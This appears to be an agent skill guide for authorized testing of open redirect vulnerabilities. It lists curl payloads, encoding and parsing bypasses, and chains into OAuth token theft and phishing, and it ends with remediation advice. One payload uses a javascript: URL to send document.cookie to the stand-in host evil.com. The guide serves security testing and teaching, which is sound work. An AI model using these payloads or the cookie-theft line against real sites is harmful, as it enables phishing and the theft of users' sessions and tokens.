Agent skill

testing-for-open-redirect-vulnerabilities

Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.

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npx add-skill https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/testing-for-open-redirect-vulnerabilities

SKILL.md

Testing for Open Redirect Vulnerabilities

When to Use

  • When testing login/logout flows that redirect users to specified URLs
  • During assessment of OAuth authorization endpoints with redirect_uri parameters
  • When auditing applications with URL parameters (next, url, redirect, return, goto, target)
  • During phishing simulation to chain open redirects with credential harvesting
  • When testing SSO implementations for redirect validation weaknesses

Prerequisites

  • Burp Suite or OWASP ZAP for intercepting redirect requests
  • Collection of open redirect bypass payloads
  • External domain or Burp Collaborator for redirect confirmation
  • Understanding of URL parsing and encoding schemes
  • Browser with developer tools for observing redirect chains
  • Knowledge of HTTP 301/302/303/307/308 redirect status codes

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1 — Identify Redirect Parameters

bash
# Common redirect parameter names to test:
# ?url= ?redirect= ?next= ?return= ?returnUrl= ?goto= ?target=
# ?dest= ?destination= ?redir= ?redirect_uri= ?continue= ?view=

# Search for redirect parameters in the application
# Use Burp Suite to crawl and identify all parameters

# Test basic redirect
curl -v "http://target.com/login?next=https://evil.com"
curl -v "http://target.com/logout?redirect=https://evil.com"
curl -v "http://target.com/oauth/authorize?redirect_uri=https://evil.com"

Step 2 — Test Basic Open Redirect Payloads

bash
# Direct external URL
curl -v "http://target.com/redirect?url=https://evil.com"

# Protocol-relative URL
curl -v "http://target.com/redirect?url=//evil.com"

# URL with @ symbol (userinfo abuse)
curl -v "http://target.com/redirect?url=https://target.com@evil.com"

# Backslash-based redirect
curl -v "http://target.com/redirect?url=https://evil.com\@target.com"

# Null byte injection
curl -v "http://target.com/redirect?url=https://evil.com%00.target.com"

Step 3 — Apply Validation Bypass Techniques

bash
# Subdomain confusion bypass
curl -v "http://target.com/redirect?url=https://target.com.evil.com"
curl -v "http://target.com/redirect?url=https://evil.com/target.com"

# URL encoding bypass
curl -v "http://target.com/redirect?url=https%3A%2F%2Fevil.com"
curl -v "http://target.com/redirect?url=%68%74%74%70%73%3a%2f%2f%65%76%69%6c%2e%63%6f%6d"

# Double URL encoding
curl -v "http://target.com/redirect?url=%2568%2574%2574%2570%253A%252F%252Fevil.com"

# Mixed case protocol
curl -v "http://target.com/redirect?url=HtTpS://evil.com"

# CRLF injection in redirect
curl -v "http://target.com/redirect?url=%0d%0aLocation:%20https://evil.com"

# JavaScript protocol
curl -v "http://target.com/redirect?url=javascript:alert(document.domain)"

# Data URI
curl -v "http://target.com/redirect?url=data:text/html,<script>alert(1)</script>"

Step 4 — Test Path-Based Redirects

bash
# Relative path injection
curl -v "http://target.com/redirect?url=/\evil.com"
curl -v "http://target.com/redirect?url=/.evil.com"

# Path traversal with redirect
curl -v "http://target.com/redirect?url=/../../../evil.com"

# Fragment-based bypass
curl -v "http://target.com/redirect?url=https://evil.com#target.com"

# Parameter pollution for redirect
curl -v "http://target.com/redirect?url=https://target.com&url=https://evil.com"

Step 5 — Chain with Other Vulnerabilities

bash
# Chain with OAuth for token theft
# Step 1: Find open redirect on target.com
# Step 2: Use it as redirect_uri in OAuth flow
curl -v "http://target.com/oauth/authorize?client_id=CLIENT&redirect_uri=http://target.com/redirect?url=https://evil.com&response_type=code"

# Chain with phishing
# Create convincing phishing page at evil.com
# Use open redirect: http://target.com/redirect?url=https://evil.com/login
# Victim sees target.com in the initial URL

# Chain with XSS via javascript: protocol
curl -v "http://target.com/redirect?url=javascript:fetch('https://evil.com/?c='+document.cookie)"

Step 6 — Automate Open Redirect Testing

bash
# Use OpenRedireX for automated testing
python3 openredirex.py -l urls.txt -p payloads.txt --keyword FUZZ

# Use gf tool to extract redirect parameters from URLs
cat urls.txt | gf redirect | sort -u > redirect_params.txt

# Mass test with nuclei
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/open-redirect.yaml

# Test with ffuf
ffuf -w open-redirect-payloads.txt -u "http://target.com/redirect?url=FUZZ" -mr "Location: https://evil"

Key Concepts

Concept Description
Unvalidated Redirect Application redirects to user-supplied URL without checking destination
URL Parsing Inconsistency Different libraries parse URLs differently, enabling bypass
Protocol-Relative URL Using // prefix to redirect while inheriting current protocol
Userinfo Abuse Using @ symbol to make URL appear to belong to trusted domain
Open Redirect Chain Combining multiple open redirects or chaining with other vulnerabilities
DOM-Based Redirect Client-side JavaScript performing redirect using attacker-controlled input
Meta Refresh Redirect HTML meta tag performing redirect without server-side 302

Tools & Systems

Tool Purpose
OpenRedireX Automated open redirect vulnerability testing tool
Burp Suite HTTP proxy for intercepting and modifying redirect parameters
gf (tomnomnom) Pattern matcher to extract redirect parameters from URL lists
nuclei Template-based scanner with open redirect detection templates
ffuf Fuzzer for mass-testing redirect parameter payloads
OWASP ZAP Automated scanner with open redirect detection

Common Scenarios

  1. Phishing Amplification — Use open redirect on a trusted domain to lend credibility to phishing URLs targeting users
  2. OAuth Token Theft — Exploit open redirect as redirect_uri in OAuth flows to steal authorization codes and access tokens
  3. SSO Bypass — Redirect SSO authentication responses to attacker-controlled servers to capture session tokens
  4. XSS via Redirect — Chain open redirect with javascript: protocol to achieve cross-site scripting
  5. Referer Leakage — Use open redirect to leak sensitive tokens in Referer headers when redirecting to external sites

Output Format

## Open Redirect Assessment Report
- **Target**: http://target.com
- **Vulnerable Parameters Found**: 3
- **Bypass Techniques Required**: URL encoding, userinfo abuse

### Findings
| # | Endpoint | Parameter | Payload | Impact |
|---|----------|-----------|---------|--------|
| 1 | /login | next | //evil.com | Phishing |
| 2 | /oauth/authorize | redirect_uri | https://target.com@evil.com | Token Theft |
| 3 | /logout | return | https://evil.com%00.target.com | Session Redirect |

### Remediation
- Implement allowlist of permitted redirect destinations
- Validate redirect URLs server-side using strict URL parsing
- Reject any redirect URL containing external domains
- Use indirect reference maps instead of direct URL parameters

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